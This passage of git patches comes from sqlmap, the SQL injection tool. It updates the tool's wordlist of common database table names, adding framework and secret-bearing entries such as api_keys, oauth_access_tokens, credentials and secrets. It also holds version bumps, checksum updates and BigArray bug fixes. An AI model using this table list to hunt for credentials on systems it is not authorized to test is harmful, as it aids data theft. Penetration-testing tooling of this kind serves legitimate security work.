webcal_group_user @@ -913,7 +792,6 @@ document m_users_acct vendor_types fruit -DWE_Resources Service PART cell_line @@ -930,21 +808,17 @@ statuses webcal_user customurl THOT_YEAR -DWE_Subscriptions correo -kultura_ge Factory_Master inv_lines_seq certificates webcal_asst ostypes POINT_SET -R2IDF forum_flag bugs taxonomy UM_ROLES -div_synonym payer tf_log job_title @@ -953,7 +827,6 @@ wp_options forum_user_activity trackbacks wp_pod_fields -cmAvailableServiceBindingSiteNodeTypeDefinition translation cdv_passport_group User_ @@ -963,31 +836,24 @@ my_county zoph_people account_permissions ORDERLINES -ganatlebe_ge wp_term_relationships pictures product_font Departure -mushroom_test_results routerbenchmarks bkp_Item Channel_Data realtable -mushroom_NBC_class odetails user_type_link -eco_da_biz_ge belong ezin_users time_zone_transition ew_tabelle ezsearch_return_count_new -cmSystemUserRole m_users -div_accession_collecting Economy tbl_works_clients -qrtz_locks geo_Mountain dtb_category tmp @@ -996,10 +862,7 @@ geo_Desert dtb_payment forum_topic ezsearch_search_phrase_new -jforum_attach -sazog_urtiertoba_ge Equipment -iuridiuli_ge MetadataSchemaRegistry basePlusCommissionEmployees addresses @@ -1030,7 +893,6 @@ SpecificationLink videos sf_guard_remember_key employer -monitoringi_ge leases phpbb_smilies stats @@ -1041,32 +903,25 @@ line_items_seq ndb_binlog_index zoph_categories help_topic -div_treatment_uom transaction wp_links -DWE_Organizations -live_ge cdv_allele_curated_allele timeperiod item_master_seq GLI_profiles cv_countries -qrtz_scheduler_state journal tf_users mwuser stories dtb_table_comment -jforum_quota_limit Lake SQLDATES phpbb_search_wordmatch friend2 functions comboboxes -DWE_Max_Id std_item -foreigntest jiveVersion sf_guard_group Classification @@ -1083,13 +938,10 @@ webcal_entry_repeats room domain_info SALES -DWE_Tasks profession1 SUPPORT_INCIDENTS PERMISSION Defect -DWE_Task_Attributes -grandchild_test Desert KARTA UM_ROLE_PERMISSIONS @@ -1099,23 +951,19 @@ guava_themes alltypes webcal_view_user vrls_xref_country -R1TF subject continent D_Format dtb_recommend_products Linkdesc_table -qrtz_fired_triggers TelephoneNumber dtb_customer_mail_temp copyrights -jforum_extension_groups DEMO_ASSIGNMENTS guava_group_assignments jforum_extensions zutat ew_user -duptest alerts partsvendor jiveGroup @@ -1135,7 +983,6 @@ tblblogentriesrelated guava_packages GRouteDetail cdv_reason -nulltest membership bkp_RS_Servers vrls_listing_images @@ -1145,7 +992,6 @@ group ClassificationNode dtb_best_products cv_cropping_system -DWE_Workflows egresadoxidiomaxhabilidad locus_data dtb_order_temp @@ -1167,14 +1013,12 @@ dtb_csv_sql synchro_type langlinks genres_in_movies -qrtz_triggers Province answerOption wp_postmeta ERDESIGNER_VERSION_ID calendar cmEvent -ruletest forum_user SalesReps ew_gruppi @@ -1205,9 +1049,7 @@ genres field vertex FoundThumbs -qrtz_trigger_listeners reciprocal_links -DWE_Meta_Data Course idiomaxegresado ordreReparation @@ -1235,16 +1077,13 @@ Language mountain ad_locales ExtrinsicObject -R2Size geo_island derived_types snipe_gallery_cat -qrtz_job_details guava_roleviews production_wtype AccountXML1 wh_man_children -not_null_test product_colour_multi ike_configs intUseringroup @@ -1274,7 +1113,6 @@ PREFIX_order_return_state experimental_data_set DOCUMENT_FIELDS Scripts -mushroom_dataset desert Can_Fly synchro_element @@ -1284,7 +1122,6 @@ tblblogpages f_attributedefinition intGroups way_nodes -child_test THOT_TARGET MOMENT dtb_classcategory @@ -1295,7 +1132,6 @@ dtb_deliv webcal_categories Parts invoices -QRTZ_JOB_LISTENERS ANSWER tbl_categories yearend @@ -1316,7 +1152,6 @@ nuke_gallery_categories areas cmContentVersion checksum_history -mushroom_test_results_agg accessTable cameFromTable services_links @@ -1328,17 +1163,13 @@ adv lake tests Offices -qrtz_simple_triggers Editor -sazog_urtiertoba_ge2 wp_pod_pages Extlangs seq_gen rss_subscription Station_Comment -R1IDF jforum_config -cmServiceDefinitionAvailableServiceBinding geo_River facilities connectorlinks @@ -1352,25 +1183,20 @@ FORM_QUESTION history_str f_classtype endpoints -R2Length zoph_albums bkp_ItemPresentation tblblogcategories -div_taxonomy traffic_selectors FORM -qrtz_paused_trigger_grps creditcards people_reg country_partner jforum_users -array_test dtb_mail_history priorities relations combustiblebois slow_log -DWE_Resource_Roles WROTE flow pay_melodies @@ -1379,7 +1205,6 @@ variable_interest dtb_class ZENTRACK_VARFIELD catalogue -uplebata_dacva_ge wp_usermeta time_zone games @@ -1399,7 +1224,6 @@ cmContentTypeDefinition radacct peer_config_child_config cmAvailableServiceBinding -cmSiteNodeVersion Poles_Zeros ipmacassocs m_news @@ -1412,22 +1236,18 @@ ipassocs cmSystemUser phpbb_categories FoundLists -jforum_smilies channelitems lokal subcategory Languages jiveSASLAuthorized -DWE_WF_Attributes cocktail cust_order -mushroom_testset THOT_SOURCE product_font_multi presence UM_USERS jiveUser -cmSiteNodeTypeDefinition wp_comments dtb_bat_order_daily_hour jos_vm_category @@ -1438,8 +1258,6 @@ geo_river MonitorStatus pagelinks ways -DWE_Roles -jforum_vote_desc cities PREFIX_order_return_state_lang subscriber @@ -1459,14 +1277,12 @@ production_multiple page_log_exclusion furniture nuke_gallery_pictures -cmRepositoryLanguage oc os PREFIX_tab_lang lc_fields framework_email datasets -sporti_ge externallinks geo_desert politics @@ -1478,7 +1294,6 @@ m_with program combustible ezin_articles -pma_tracking help_keyword POSITION stars_in_movies @@ -1488,12 +1303,10 @@ dtb_mailtemplate DIM_TYPE cart_table D_Unit -array_probe macassocs changeTva UM_PERMISSIONS geo_Source -R1Sum cdv_marker nuke_gallery_template_types UM_USER_ATTRIBUTES @@ -1514,7 +1327,6 @@ transcache dtb_question_result rss_category profiling -QRTZ_TRIGGER_LISTENERS THOT_LANGUAGE cmContent Descriptions_Scripts @@ -1536,7 +1348,6 @@ po_seq salariedEmployees grp jforum_topics -defertest array_data most_recent_checksum m_earnings @@ -1544,13 +1355,10 @@ product_related dtb_baseinfo webcal_import_data federationApplicants -qrtz_calendars melodies jforum_forums sf_guard_group_permission sys_acl_matrix -R2ODTMAP -mushroom_NBC country_diseases dtb_order_detail sic @@ -1571,11 +1379,8 @@ jforum_categories site_climatic phpbb_points_values zoph_color_schemes -DWE_Internal_Task_Attributes -uniquetest TypeRule dtb_customer -R2Sum PREFIX_customer_group ProjectsTable dtb_products @@ -1584,13 +1389,11 @@ dtb_question UM_USER_PERMISSIONS exam commande -viktorina_ge dtb_products_class subscribe page_restrictions querycache_info cdv_map_feature -oidtest Link_table guava_users connectormacassocs @@ -1616,6 +1419,8 @@ SPACE geo_Sea DATA_ORG Contributor +wallet +balance flag # Various Joomla tables @@ -1645,9 +1450,6 @@ jos_vm_zone_shipping jos_bannertrack jos_vm_order_status jos_modules_menu -jos_vm_product_type -jos_vm_product_type_parameter -jos_vm_tax_rate jos_core_log_items jos_modules jos_users @@ -1970,7 +1772,6 @@ JamPass MyTicketek MyTicketekArchive News -Passwords by usage count PerfPassword PerfPasswordAllSelected Promotion @@ -1994,12 +1795,10 @@ sysconstraints syssegments tblRestrictedPasswords tblRestrictedShows -Ticket System Acc Numbers TimeDiff Titles ToPacmail1 ToPacmail2 -Total Members UserPreferences uvw_Category uvw_Pref @@ -2008,7 +1807,6 @@ Venue venues VenuesNew X_3945 -stone list tblArtistCategory tblArtists tblConfigs @@ -2044,7 +1842,6 @@ bulletin cc_info login_name admuserinfo -userlistuser_list SiteLogin Site_Login UserAdmin @@ -2267,7 +2064,6 @@ upload uploads file akhbar -sb_host_admin Firma contenu Kontakt @@ -2328,8 +2124,6 @@ pw pwd1 jhu webapps -ASP -Microsoft sing singup singin @@ -2349,11 +2143,6 @@ systime Tisch Tabellen Titel -u -u_n -u_name -u_p -u_pass Benutzer user_pw Benutzerliste @@ -2364,7 +2153,6 @@ Benutzername Benutzernamen vip Webbenutzer -sb_host_adminActiveDataFeed Kategorie Land Suchoptionen @@ -2375,7 +2163,6 @@ Umfrage TotalMembers Veranstaltungsort Veranstaltungsorte -Ansicht1 utilisateur trier compte @@ -2421,32 +2208,10 @@ Sujets Sondage Titres Lieux -Affichage1Affichage1edu -win -pc -windows -mac -edu -bayviewpath -bayview server -slserver -ColdFusion8 -ColdFusion -Cold -Fusion8 -Fusion ststaff -sb_host_adminAffichage1 -Affichage1 yhm yhmm -Affichage1name -sb_host_adminAffichage1name - -# site:jp - -TypesTab # site:it @@ -2457,141 +2222,66 @@ comuni discipline Clienti gws_news -SGA_XPLAN_TPL_V$SQL_PLAN emu_services nlconfig -oil_bfsurvey_pro -oil_users -oil_menu_types -oil_polls Accounts -oil_core_log_searches -SGA_XPLAN_TPL_V$SQL_PLAN_SALL -oil_phocadownload_categories gws_page -oil_bfsurveypro_choices -oil_poll_data -oil_poll_date argomento -oil_modules ruolo -oil_contact_details emu_profiles user_connection -oil_poll_menu jos_jf_tableinfo -oil_templates_menu -oil_messages_cfg -oil_biolmed_entity_types -oil_phocagallery_votes -oil_core_acl_aro regioni -oil_modules_menu dati gws_admin -oil_phocagallery_user_category articoli -oil_content_frontpage cron_send -oil_biolmed_measures comune -SGA_XPLAN_TPL_DBA_TABLES esame -oil_session -oil_phocadownload_licenses -oil_weblinks -oil_messages -oil_phocagallery_votes_statistics dcerpcbinds -oil_jf_content -SGA_XPLAN_TPL_DBA_CONS_COLUMNS -SGA_XPLAN_TPL_DBA_IND_COLUMNS gruppi Articoli gws_banner gws_category soraldo_ele_tipo db_version -SGA_XPLAN_TPL_DBA_TAB_COLS -oil_biolmed_thesis jos_languages mlmail -SGA_XPLAN_TPL_V$SQLTEXT_NL -oil_bannertrack -oil_core_log_items -oil_rokversions -oil_bfsurveypro_34 -oil_bfsurveypro_35 -oil_google_destinations gws_product -oil_jf_tableinfo -oil_phocadownload -oil_biolmed_blocks -oil_bfsurvey_pro_example -oil_bfsurvey_pro_categories -oil_bannerclient -oil_core_acl_aro_sections -SGA_XPLAN_TPL_V$SQL -oil_biolmed_land connections not_sent_mails -sga_xplan_test -oil_languages utente documento gws_purchase -oil_plugins -oil_phocagallery -oil_menu -oil_biolmed_measures_by_entity_types offers anagrafica gws_text -oil_groups -oil_content_rating sent_mails -oil_banner -oil_google gws_jobs eventi mlattach -oil_migration_backlinks -oil_phocagallery_categories downloads mlgroup -oil_sections decodifica_tabelle -oil_phocagallery_img_votes -oil_phocagallery_img_votes_statistics -oil_dbcache -oil_content p0fs -oil_biolmed_entity -oil_rokdownloads -oil_core_acl_groups_aro_map gws_client decodifica_campi -oil_phocagallery_comments -oil_categories -oil_newsfeeds -oil_biolmed_measurements -oil_phocadownload_user_stat -oil_core_acl_aro_groups -SGA_XPLAN_TPL_V$SQL_PLAN_STAT -oil_core_acl_aro_map dcerpcrequests -oil_phocadownload_sections -oil_components discipline_utenti jos_jf_content -oil_phocadownload_settings -SGA_XPLAN_TPL_DBA_CONSTRAINTS -oil_biolmed_technician -oil_stats_agents -SGA_XPLAN_TPL_DBA_INDEXES # site:fr +facture +factures +devis +commande +bon_commande +bon_livraison +fournisseur +panier +paiement +reglement Avion departement Compagnie @@ -2763,100 +2453,36 @@ spip_caches # site:ru +spravochnik +nomenklatura +dokument +zakaz +ostatki +kontragenty +klient +uslugi +provodki +obrabotka +sklad +zhurnal guestbook -binn_forum_settings -binn_forms_templ -binn_catprops currency -binn_imagelib -binn_news phpshop_opros_categories -binn_articles_messages -binn_cache -binn_bann_temps -binn_forum_threads voting -binn_update terms -binn_site_users_rights -binn_vote_options -binn_texts -binn_forum_temps -binn_order_temps -binn_basket -binn_order -binn_system_log -binn_vote_results -binn_articles phpshop_categories -binn_maillist_temps -binn_system_messages -binn_articles_temps -binn_search_temps banners -binn_imagelib_templ -binn_faq -binn_bann phpshop_news -binn_menu_templ -binn_maillist_settings -binn_docs_temps -binn_bann_restricted phpshop_system -binn_calendar_temps -binn_forum_posts -binn_cform_settings phpshop_baners phpshop_menu -binn_forms_fields -binn_cform_list -binn_vote phpshop_links mapdata -binn_submit_timeout -binn_forum_themes_temps -binn_order_elems -binn_templates -binn_cform -binn_catalog_template -binn_ct_templ_elems -binn_template_elems -binn_rubrikator_tlevel -binn_settings -binn_pages -binn_users -binn_categs -binn_page_elems -binn_site_users_temps -binn_vote_temps -binn_rubrikator_temps -binn_faq_temps -binn_sprav setup_ -binn_basket_templ -binn_forum_maillist -binn_news_temps phpshop_users -binn_catlinks -binn_sprav_temps -binn_maillist_sent -binn_forms_templ_elems jubjub_errors -binn_maillist -binn_catrights -binn_docs -binn_bann_pages -binn_ct_templ -binn_menu -binn_user_rights -binn_cform_textarea -binn_catalog_fields vykachka -binn_menu_tlevel phpshop_opros -binn_form39 -binn_site_users -binn_path_temps order_item # site:de @@ -2866,35 +2492,17 @@ kunde medien Mitarbeiter fe_users -dwp_wetter -dwp_popup voraussetzen -dwp_foto_pictures -dwp_karte_speisen -dwp_news_kat -dwp_structur -dwp_foto_album -dwp_karte_kat bestellung -dwp_content be_users Vorlesungen -dwp_content_pic -dwp_link_entries -dwp_ecard_album persons -dwp_buchung_hotel -dwp_link_kat -dwp_news_absatz Assistenten Professoren Studenten -dwp_ecard_pictures lieferant -dwp_bewertung mitarbeiter gruppe -dwp_news_head wp_post2cat phpbb_forum_prune crops @@ -2924,7 +2532,6 @@ shop_settings tutorial motd_coding artikel_variationsgruppen -dwp_kontakt papers gesuche zahlung_weitere @@ -3230,28 +2837,37 @@ estadisticas # site:cn +yonghu +dingdan +shangpin +zhanghu +jiaoyi +zhifu +rizhi +quanxian +juese +caidan +xinxi +shuju +guanliyuan +xitong +peizhi +canshu +zidian url -cdb_adminactions BlockInfo -cdb_attachtypes cdb_attachments -mymps_lifebox cdb_buddys -mymps_payapi LastDate cdb_medals -mymps_payrecord cdb_forumlinks cdb_adminnotes cdb_admingroups -cdb_creditslog stkWeight -mymps_checkanswer cdb_announcements cdb_bbcodes cdb_advertisements cdb_memberfields -mymps_telephone cdb_forums cdb_forumfields cdb_favorites @@ -3279,31 +2895,22 @@ cdb_pluginvars pw_smiles cdb_modworks ncat -mymps_member_tpl pw_threads zl_admin cdb_onlinetime cdb_mythreads cdb_members spt_datatype_info -mymps_certification -mymps_badwords seentype -mymps_cache zl_article spt_datatype_info_ext cdb_debateposts -mymps_corp -mymps_member_album mgbliuyan pw_schcache zl_finance pw_banuser -mymps_news cdb_pluginhooks -mymps_member_docutype wp1_categories -cdb_magicmarket MSmerge_errorlineage cdb_activities zl_baoming @@ -3315,18 +2922,15 @@ cdb_itempool phpcms_announce pw_actions pw_msg -mymps_news_img cdb_debates cdb_magiclog pw_forums -mymps_channel cdb_polls t_stat pw_attachs cdb_plugins pw_membercredit cdb_posts -mymps_member_category cdb_activityapplies zl_media acctmanager @@ -3334,18 +2938,12 @@ pw_usergroups cdb_faqs cdb_onlinelist pw_hack -mymps_member_comment Market -mymps_config -mymps_mail_template -mymps_advertisement MSrepl_identity_range pw_favors -mymps_crons pw_config pw_credits cdb_failedlogins -mymps_member_docu pw_posts cdb_attachpaymentlog cdb_myposts @@ -3353,7 +2951,6 @@ cdb_polloptions wp1_comments cdb_caches pw_members -mymps_upload spt_provider_types pw_sharelinks pw_tmsgs @@ -3364,15 +2961,12 @@ aliasregex userfiles acctmanager2 cdb_pmsearchindex -mymps_news_focus cdb_forumrecommend publishers zl_advertisement guanggaotp pw_memberinfo aliastype -mymps_mail_sendlist -mymps_navurl # site:tr @@ -3758,6 +3352,71 @@ weblinks gebruikers -# site:cn +# asp.net -yonghu +AspNetUsers +AspNetRoles +AspNetUserRoles +AspNetUserClaims +AspNetUserLogins +AspNetRoleClaims +AspNetUserTokens +__EFMigrationsHistory + +# django + +auth_user +auth_group +auth_permission +django_session +django_migrations +django_content_type +django_admin_log + +# laravel + +migrations +password_resets +failed_jobs +personal_access_tokens +job_batches +model_has_roles +model_has_permissions +role_has_permissions + +# rails + +schema_migrations +ar_internal_metadata +active_storage_blobs +active_storage_attachments + +# misc. + +flyway_schema_history +databasechangelog +databasechangeloglock +alembic_version +knex_migrations +knex_migrations_lock +doctrine_migration_versions +api_keys +api_tokens +access_tokens +refresh_tokens +oauth_clients +oauth_access_tokens +oauth_refresh_tokens +webhooks +webhook_events +secrets +credentials +audit_logs +activity_logs +system_settings +feature_flags +tenants +subscriptions +users_bak +users_old +orders_backup diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index afcfd8196ce..d240e0725be 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -25,7 +25,7 @@ f2648a0cb4d5922d58b8aa6600f786b32324b9ac91e3a57e4ff212e901ffe151 data/shell/sta 26e2a6d6154cbcef1410a6826169463129380f70a840f848dce4236b686efb23 data/txt/common-columns.txt 22cda9937e1801f15370e7cb784797f06c9c86ad8a97db19e732ae76671c7f37 data/txt/common-files.txt 30b3eecf7beb4ebbfdb3aadbd7d7d2ad2a477f07753e5ed1de940693c8b145dc data/txt/common-outputs.txt -7953f5967da237115739ee0f0fe8b0ecec7cdac4830770acb8238e6570422a28 data/txt/common-tables.txt +1d2283795ea2dfaedc41b7ff884b60442043b9248149606812a9ffea0ad79e3b data/txt/common-tables.txt b023d7207e5e96a27696ec7ea1d32f9de59f1a269fde7672a8509cb3f0909cd3 data/txt/keywords.txt 522cce0327de8a5dfb5ade505e8a23bbd37bcabcbb2993f4f787ccdecf24997e data/txt/smalldict.txt aaf6be92d51eb502ba11136c7a010872b17c4df59007fc6de78ae665fe66ee5f data/txt/user-agents.txt @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -ad32a9309e56d4b10d1dcc6bafb63f2dc210901b1832a6e5196f02562bcd68eb lib/core/settings.py +3ca51b79a5f622a0845f344afd11d6abf6ddc78370058c78fcb26fcc17806387 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/settings.py b/lib/core/settings.py index 04d0a212cfc..a98847ae557 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.27" +VERSION = "1.9.12.28" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From f2560776e938b2a62667692ba0083c388fb6f62d Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 29 Dec 2025 23:29:39 +0100 Subject: [PATCH 269/853] Minor update --- data/txt/sha256sums.txt | 6 +++--- lib/core/common.py | 6 +++--- lib/core/option.py | 3 ++- lib/core/settings.py | 2 +- 4 files changed, 9 insertions(+), 8 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index d240e0725be..eeb8974ae6f 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -166,7 +166,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py ac44a343947162532dbf17bd1f9ab424f8008f677367c5ad3f9f7b715a679818 lib/core/agent.py fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py -567c53222bc59f2aaba97ce9ba7613848ff0609007cc5dfc57051da34d76e41b lib/core/common.py +f6062e324fdeaacf9df0a289fc3f12f755143e3876a70cb65b38aa2e690f73c1 lib/core/common.py 11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py 39ea62d4224be860befeffb3843c150f2343b64555ad8c438a400222056f6cc0 lib/core/convert.py ae500647c4074681749735a4f3b17b7eca44868dd3f39f9cab0a575888ba04a1 lib/core/data.py @@ -181,14 +181,14 @@ bb7e6521edad1cbfffa89fd7d5e255ed4ff148d984ffadbeac8d42baa2d76dea lib/core/dicts 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/core/__init__.py 3d308440fb01d04b5d363bfbe0f337756b098532e5bb7a1c91d5213157ec2c35 lib/core/log.py 2a06dc9b5c17a1efdcdb903545729809399f1ee96f7352cc19b9aaa227394ff3 lib/core/optiondict.py -c53862358795097a59aa4eacc4d90815afb7e0540899b8885b586e43267be225 lib/core/option.py +114396f3b11372afc47451b4fbfd79e567ebdcaa926a3cff9ac12cab4db02d8b lib/core/option.py fd449fe2c707ce06c929fc164cbabb3342f3e4e2b86c06f3efc1fc09ac98a25a lib/core/patch.py 85f10c6195a3a675892d914328173a6fb6a8393120417a2f10071c6e77bfa47d lib/core/profiling.py c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readlineng.py d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -3ca51b79a5f622a0845f344afd11d6abf6ddc78370058c78fcb26fcc17806387 lib/core/settings.py +be3e2b9a16441137d97d366f09dfb14a39d89a258945d70413456fd42e85ca22 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/common.py b/lib/core/common.py index 41c2b7c2d71..42f4627d070 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -4542,7 +4542,7 @@ def randomizeParameterValue(value): if original != candidate: break - retVal = retVal.replace(original, candidate) + retVal = retVal.replace(original, candidate, 1) if re.match(r"\A[^@]+@.+\.[a-z]+\Z", value): parts = retVal.split('.') @@ -5159,8 +5159,8 @@ def prioritySortColumns(columns): Sorts given column names by length in ascending order while those containing string 'id' go first - >>> prioritySortColumns(['password', 'userid', 'name']) - ['userid', 'name', 'password'] + >>> prioritySortColumns(['password', 'userid', 'name', 'id']) + ['id', 'userid', 'name', 'password'] """ def _(column): diff --git a/lib/core/option.py b/lib/core/option.py index 42a62697189..22a656b4d81 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -69,6 +69,7 @@ from lib.core.data import queries from lib.core.datatype import AttribDict from lib.core.datatype import InjectionDict +from lib.core.datatype import LRUDict from lib.core.datatype import OrderedSet from lib.core.defaults import defaults from lib.core.dicts import DBMS_DICT @@ -2035,7 +2036,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.cache = AttribDict() kb.cache.addrinfo = {} - kb.cache.content = {} + kb.cache.content = LRUDict(capacity=16) kb.cache.comparison = {} kb.cache.encoding = {} kb.cache.alphaBoundaries = None diff --git a/lib/core/settings.py b/lib/core/settings.py index a98847ae557..bca3f6a63b8 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -19,7 +19,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.9.12.28" +VERSION = "1.9.12.29" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 201f5e81717983079f22829f8adad4ac6037a415 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 30 Dec 2025 02:13:35 +0100 Subject: [PATCH 270/853] Couple of bug fixes for BigArray --- data/txt/sha256sums.txt | 4 +- lib/core/bigarray.py | 153 +++++++++++++++++++++++++++++++--------- lib/core/settings.py | 4 +- 3 files changed, 122 insertions(+), 39 deletions(-) diff --git a/data/txt/sha256sums.txt b/data/txt/sha256sums.txt index eeb8974ae6f..d2fbe8655cd 100644 --- a/data/txt/sha256sums.txt +++ b/data/txt/sha256sums.txt @@ -165,7 +165,7 @@ eed1db5da17eca4c65a8f999166e2246eef84397687ae820bbe4984ef65a09df extra/vulnserv 49bcd74281297c79a6ae5d4b0d1479ddace4476fddaf4383ca682a6977b553e3 lib/controller/handler.py 4608f21a4333c162ab3c266c903fda4793cc5834de30d06affe9b7566dd09811 lib/controller/__init__.py ac44a343947162532dbf17bd1f9ab424f8008f677367c5ad3f9f7b715a679818 lib/core/agent.py -fbba89420acafcdb9ba1a95428cf2161b13cfa2d1a7ad7d5e70c14b0e04861f0 lib/core/bigarray.py +fdb5e3828e14f5bca76bed85747c111a861c972bac3892ac789d0285c1b0e8b3 lib/core/bigarray.py f6062e324fdeaacf9df0a289fc3f12f755143e3876a70cb65b38aa2e690f73c1 lib/core/common.py 11c748cc96ea2bc507bc6c1930a17fe4bc6fdd2dd2a80430df971cb21428eb00 lib/core/compat.py 39ea62d4224be860befeffb3843c150f2343b64555ad8c438a400222056f6cc0 lib/core/convert.py @@ -188,7 +188,7 @@ c4bfb493a03caf84dd362aec7c248097841de804b7413d0e1ecb8a90c8550bc0 lib/core/readl d1bd70c1a55858495c727fbec91e30af267459c8f64d50fabf9e4ee2c007e920 lib/core/replication.py 1d0f80b0193ac5204527bfab4bde1a7aee0f693fd008e86b4b29f606d1ef94f3 lib/core/revision.py d2eb8e4b05ac93551272b3d4abfaf5b9f2d3ac92499a7704c16ed0b4f200db38 lib/core/session.py -be3e2b9a16441137d97d366f09dfb14a39d89a258945d70413456fd42e85ca22 lib/core/settings.py +d9a017b535ac6566d750ec4315e155cbe056fc39538b932071c1c546ec26d535 lib/core/settings.py 1c5eab9494eb969bc9ce118a2ea6954690c6851cbe54c18373c723b99734bf09 lib/core/shell.py 4eea6dcf023e41e3c64b210cb5c2efc7ca893b727f5e49d9c924f076bb224053 lib/core/subprocessng.py cdd352e1331c6b535e780f6edea79465cb55af53aa2114dcea0e8bf382e56d1a lib/core/target.py diff --git a/lib/core/bigarray.py b/lib/core/bigarray.py index fc36954356b..9178d1574bb 100644 --- a/lib/core/bigarray.py +++ b/lib/core/bigarray.py @@ -12,6 +12,7 @@ import itertools import os +import shutil import sys import tempfile import threading @@ -28,6 +29,13 @@ except TypeError: DEFAULT_SIZE_OF = 16 +try: + # Python 2: basestring covers str and unicode + STRING_TYPES = (basestring,) +except NameError: + # Python 3: str and bytes are separate + STRING_TYPES = (str, bytes) + def _size_of(instance): """ Returns total size of a given instance / object (in bytes) @@ -35,7 +43,9 @@ def _size_of(instance): retval = sys.getsizeof(instance, DEFAULT_SIZE_OF) - if isinstance(instance, dict): + if isinstance(instance, STRING_TYPES): + return retval + elif isinstance(instance, dict): retval += sum(_size_of(_) for _ in itertools.chain.from_iterable(instance.items())) elif hasattr(instance, "__iter__"): retval += sum(_size_of(_) for _ in instance if _ != instance) @@ -58,12 +68,29 @@ class BigArray(list): >>> _ = BigArray(xrange(100000)) >>> _[20] = 0 + >>> _[-1] = 999 >>> _[99999] - 99999 + 999 + >>> _[100000] + Traceback (most recent call last): + ... + IndexError: BigArray index out of range >>> _ += [0] + >>> sum(_) + 4999850980 + >>> _[len(_) // 2] = 17 + >>> sum(_) + 4999800997 >>> _[100000] 0 - >>> _ = _ + [1] + >>> _[0] = [None] + >>> _.index(0) + 20 + >>> import pickle; __ = pickle.loads(pickle.dumps(_)) + >>> __.append(1) + >>> len(_) + 100001 + >>> _ = __ >>> _[-1] 1 >>> len([_ for _ in BigArray(xrange(100000))]) @@ -134,15 +161,23 @@ def index(self, value): if self[index] == value: return index - return ValueError, "%s is not in list" % value + raise ValueError("%s is not in list" % value) + + def __reduce__(self): + return (self.__class__, (), self.__getstate__()) def close(self): - while self.filenames: - filename = self.filenames.pop() - try: - self._os_remove(filename) - except OSError: - pass + with self._lock: + while self.filenames: + filename = self.filenames.pop() + try: + self._os_remove(filename) + except OSError: + pass + self.chunks = [[]] + self.cache = None + self.chunk_length = getattr(sys, "maxsize", None) + self._size_counter = 0 def __del__(self): self.close() @@ -181,41 +216,89 @@ def _checkcache(self, index): raise SqlmapSystemException(errMsg) def __getstate__(self): - return self.chunks, self.filenames + if self.cache and self.cache.dirty: + filename = self._dump(self.cache.data) + self.chunks[self.cache.index] = filename + self.cache.dirty = False + + return self.chunks, self.filenames, self.chunk_length def __setstate__(self, state): self.__init__() - self.chunks, self.filenames = state + chunks, filenames, self.chunk_length = state + + file_mapping = {} + self.filenames = set() + self.chunks = [] + + for filename in filenames: + if not os.path.exists(filename): + continue + + try: + handle, new_filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.BIG_ARRAY) + os.close(handle) + shutil.copyfile(filename, new_filename) + self.filenames.add(new_filename) + file_mapping[filename] = new_filename + except (OSError, IOError): + pass + + for chunk in chunks: + if isinstance(chunk, STRING_TYPES): + if chunk in file_mapping: + 